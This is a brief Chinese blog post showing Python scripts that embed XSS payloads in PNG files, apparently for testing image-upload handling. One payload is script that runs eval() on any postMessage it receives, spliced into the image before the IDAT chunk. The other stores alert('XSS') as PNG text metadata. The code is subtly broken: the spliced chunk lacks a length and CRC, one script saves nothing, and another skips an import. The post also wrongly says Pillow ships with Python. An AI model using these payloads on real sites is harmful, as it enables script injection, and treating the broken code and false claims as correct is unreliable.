🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

其实方法有很多,你也可以下载现成的工具直接进行相对图形化界面的更改。

比如TweakPNG。

但是安装有些麻烦所以我选择用Python写一段。

用到的是pillow库,可以先去pip一下,不过一般都是Python内置的,不用操心

from PIL import Image
from PIL.ExifTags import TAGS
import base64

# 设置字段
with open('tomoya.png', 'rb') as f:
    data = f.read()
    
payload = b'tEXtpayload\x00'+base64.b64encode(b'''
<script>
window.addEventListener('message',e=>{
  if(e.data.type=='space-xss') eval(e.data.code)
})
</script>
''')
new_data = data.replace(b'IDAT', payload + b'IDAT')


此处只做示例,具体看情况变。
其实这种模式也仅供学习参考使用,就算是注入成功了,一般是不会执行的,需要经过解析。
而大部分的图片上传网页,也不会主动去解析图片里的内容或者exif,从而不会实现攻击。
又或者是需要通过第三方等方式促成解析。

其实还写了另一版:

from PIL.PngImagePlugin import PngInfo
import os
   
# 设置路径
DESKTOP = os.path.join(os.path.expanduser("~"), "\\Users\\Administrator\\Desktop\\000")
INPUT = os.path.join(DESKTOP, "tomoya.png")
OUTPUT = os.path.join(DESKTOP, "modified.png")
   
# 注入元数据
with Image.open(INPUT) as img:
    meta = img.info.get("pnginfo", PngInfo())
    meta.add_text("HiddenCode", "alert('XSS')")
    img.save(OUTPUT, pnginfo=meta)
   
print(f"处理完成!输出文件: {OUTPUT}")

不过这一版写的比较简单,会破坏图片结构,同时成功率低。相比于前面的测试元数据解析逻辑来说,更可能会测试出转码引擎的效果,比如对损坏文件的表现等等。
可以自建靶场用来做测试,实际应用还会差一些的。

也有另一种方法让用户交互比如让用户下载保存图片,虽然这不是测试的目标。

本来最开始的时候是打算用svc格式的,但是这个大部分都修复了,也不允许该文件格式的上传。
思路也可以是,继续使用svc格式,然后想办法触发解析漏洞。

posted on 2025-08-17 21:04  鱼油YOU  阅读(28)  评论(0)    收藏  举报